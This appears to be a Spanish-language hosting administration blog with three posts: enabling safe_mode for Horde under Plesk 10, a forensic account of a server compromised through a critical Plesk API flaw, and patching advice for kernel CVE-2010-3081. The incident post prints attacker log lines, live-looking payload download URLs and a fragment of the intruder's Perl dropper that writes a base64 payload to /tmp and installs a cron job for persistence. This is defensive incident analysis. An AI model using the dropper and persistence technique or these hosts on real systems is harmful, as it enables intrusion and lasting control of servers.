La alternativa elegante sería activar safe_mode y dejar de usar sendmail, como vemos en el fragmento de la configuración de Horde:

# fragmento de la configuracion de horde 
# /etc/psa-webmail/horde/horde/conf.p
if (ini_get("safe_mode") == "1") { // Safe mode in action
$conf['mailer']['params']['host'] = '127.0.0.1';
$conf['mailer']['params']['port'] = 25;
$conf['mailer']['params']['auth'] = false;
$conf['mailer']['type'] = 'smtp';
} else {
$conf['mailer']['params']['sendmail_path'] = '/usr/sbin/sendmail';
$conf['mailer']['params']['sendmail_args'] = '-oi';
$conf['mailer']['type'] = 'sendmail';
}

En Plesk10 se han definido plantillas para los servicios de forma que aunque cambiasemos los ficheros de configuarción de apache estos cambios se terminarían machacando y volveríamos al estado por defecto.

Para ello, Plesk ha provisto un repositorio de plantillas para configurar los servicios en /usr/local/psa/admin/conf/templates/

Para reconfigurar la plantilla tenemos aqui un copy&paste muy cómodo, como siempre nos gusta:

# reemplazar safe_mode en la plantilla
sed -i 's/safe_mode off/safe_mode on/g' /usr/local/psa/admin/conf/templates/default/horde.php
# reconfigurar las plantillas
/usr/local/psa/admin/bin/httpdmng --reconfigure-server
# recargar el servicio
apache2ctl graceful

Para probarlo es necesario cerrar la sesión de Horde y volver a autenticarse.

Vulnerabilidad CRÍTICA en la API de Plesk

Hace unas semanas se notificó por parte de Parallels un fallo crítico en el su software de panel de control de hosting: Plesk. Hicimos referencia a la nota en nuestro blog http://hostingaldescubierto.com/wordpress/2012/02/10/plesk-fallo-critico-de-seguridad-sql-injection/

Reciemiente hemos tenido accesos a una máquina usando este fallo de seguridad y vamos a compartir con vosotros algunas observaciones de estos accesos:

En el sistema se observan procesos perl no habituales, con lo que procedemos a buscar el origen del mismo con lsof y el resultado es que el origen del proceso pertenece a «/tmp/…» y se se ha eliminado. Ya esto nos da una idea de que el proceso no es para nada un proceso autorizado.

Verificamos /tmp y /var/tmp donde encontramos algunos ficheros ajenos al sistema pero sin contenido.

Si nos enganchamos al proceso , podemos ver que constantemente se está descargando ficheros de diversas urls con wget:

https://eycgkhkxfs.tmdnzapomk.info:1905//b/index.php?id=...
https://94.23.208.20:1905//b/index.php?id
https://rqckfdgumv.sxobnmbjzb.info:1905//b/index.php?...

Después de consultar algunas fuentes ( gracias Logan ) vemos que en los ficheros de logs de panel de control de plesk en /usr/local/psa/admin/logs/httpsd_access_log tenemos llamadas al fichero agent.php de la api de Plesk y posteriormente accesos al panel de control donde se suben ficheros a diversos dominios.

httpsd_access_log.processed.1.gz:78.139.244.50 dd.com:8443 - [13/Feb/2012:00:33:05 +0100] "POST /enterprise/control/agent.php HTTP/1.1" 200 74360 "-" "-"
httpsd_access_log.processed.1.gz:78.139.244.50 dd.com:8443 - [13/Feb/2012:03:04:52 +0100] "POST /enterprise/control/agent.php HTTP/1.1" 200 74360 "-" "-"
httpsd_access_log.processed.1.gz:78.139.244.50 dd.com:8443 - [13/Feb/2012:03:37:21 +0100] "POST /enterprise/control/agent.php HTTP/1.1" 200 74360 "-" "-"
110.136.186.229 x.x.x.x:8443 - [19/Feb/2012:05:12:37 +0100] "POST /login_up.php3 HTTP/1.1" 200 966 "https://x.x.x.x:8443/" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; 3301; MyIE2)"
110.136.186.229 x.x.x.x:8443 - [19/Feb/2012:05:12:42 +0100] "GET /plesk/client@3/domain@/?context=domains HTTP/1.1" 200 29327 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; 3301; MyIE2)"
110.136.186.229 x.x.x.x:8443 - [19/Feb/2012:05:12:50 +0100] "GET /plesk/client@3/domain@222/hosting/file-manager/?cmd=chdir&file=%2Fcgi-bin%2F HTTP/1.1" 200 39293 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; 3301; MyIE2)"
110.136.186.229 x.x.x.x:8443 - [19/Feb/2012:05:13:06 +0100] "POST /plesk/client@3/domain@222/hosting/file-manager/create-file/ HTTP/1.1" 303 0 "-" "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; 3301; MyIE2)"

y dentro del dominio en la carpeta /cgi-bin/ vemos ficheros .cgi con el contenido de los scripts que el atacante ha subido.

Un fragmento de uno de los scripts nos indica que los procesos ejecutados en el sistema provienen de esos ficheros

open(OLD_UNIX, ">", "/tmp/.X11-unix");
print OLD_UNIX decode_base64("....L....");
close(OLD_UNIX);
system("echo '* * * * * perl /tmp/.X11-unix >/dev/null 2>&1' >
/tmp/cron.d ; crontab /tmp/cron.d ; rm /tmp/cron.d");
system("perl /tmp/.X11-unix");
print "exdonen";

Como medidas para prevenir este fallo de seguridad hay que actualizar Plesk aplicando los microupdates.
Reviar /var/spool/cron aunque en nuestro caso no se han encontrado crontabs ajenos.
Es recomendable también ajustar los permisos para wget, curl y get

http://kb.parallels.com/en/113321

En breve daremos más detalles de las evidencias obtenidas.

[xploit] Grave fallo de seguridad en el kernel 2.6

Aunque llegamos tarde para anunciar la noticia, es necesario comentar aquí la necesidad de aplicar los parches que salieron hace dos días 21 de Septiembre que corrijen un grabe fallo de seguridad en los kernels 2.6 bajo máquinas con arquitectura x86_64.

El fallo se puede explotar localmente en la máquina y consiste en acceder vía  «compat_alloc_user_space()» esta función no está correctamente securizada y no se verifican los tamaños de los punteros con lo que se puede hacer un buffer overflow y todo lo que ello conlleva… Al parecer el fallo lleva 2 años en el kernel y no fué comunicado en todo este tiempo por la gente que ha desarrollado el xploit pero sí lo han utilizado para su beneficio propio:

  • Signed-off-by: David L Stevens <dlstevens@us.ibm.com>
  • Signed-off-by: YOSHIFUJI Hideaki <yoshfuji@linux-ipv6.org>
  • Signed-off-by: David S. Miller <davem@davemloft.net>

El exploit lo podeis localizar en ABftw.c al menos se han preocupado de eliminar las partes jugosas para que los scriptkidies no hagan de las suyas.

Más interesante que leerse el exploit es comprobar que tu máquina no esté infectada y para ello debes descargar este binario y ejecutarlo con un usuario que no sea root ( recuerda que es sólo para máquinas x86_64 ->  uname -p  )$ wget -N https://www.ksplice.com/support/diagnose-2010-3081
$ chmod +x diagnose-2010-3081
$ ./diagnose-2010-3081
Diagnostic tool for public CVE-2010-3081 exploit — Ksplice, Inc.
(see http://www.ksplice.com/uptrack/cve-2010-3081)

$$$ Kernel release: 2.6.18-194.11.3.el5
$$$ Backdoor in LSM (1/3): checking…not present.
$$$ Backdoor in timer_list_fops (2/3): not available.
$$$ Backdoor in IDT (3/3): checking…not present.

Your system is free from the backdoors that would be left in memory
by the published exploit for CVE-2010-3081.

Para evitar que se explote el fallo hay una solución que lo mitiga y consiste en no permitir ejecutar binarios x86 o i386 en la máquina usando esta linea# echo ‘:32bits:M::x7fELFx01::/bin/echo:’ > /proc/sys/fs/binfmt_misc/register

Provoca que los binarios de 32 bits sólo hagan un «echo» con su nombre de fichero y sus parámetros. El problema es que necesites algunos binarios de 32 bits como es el caso del drweb-update.

De todas formas ya hay kernel nuevo para instalar, reiniciar y listo.

Más información en :

https://access.redhat.com/kb/docs/DOC-40265
https://www.ksplice.com/uptrack/cve-2010-3081
https://rhn.redhat.com/errata/RHSA-2010-0704.html
https://rhn.redhat.com/errata/RHSA-2010-0705.html
http://seclists.org/fulldisclosure/2010/Sep/268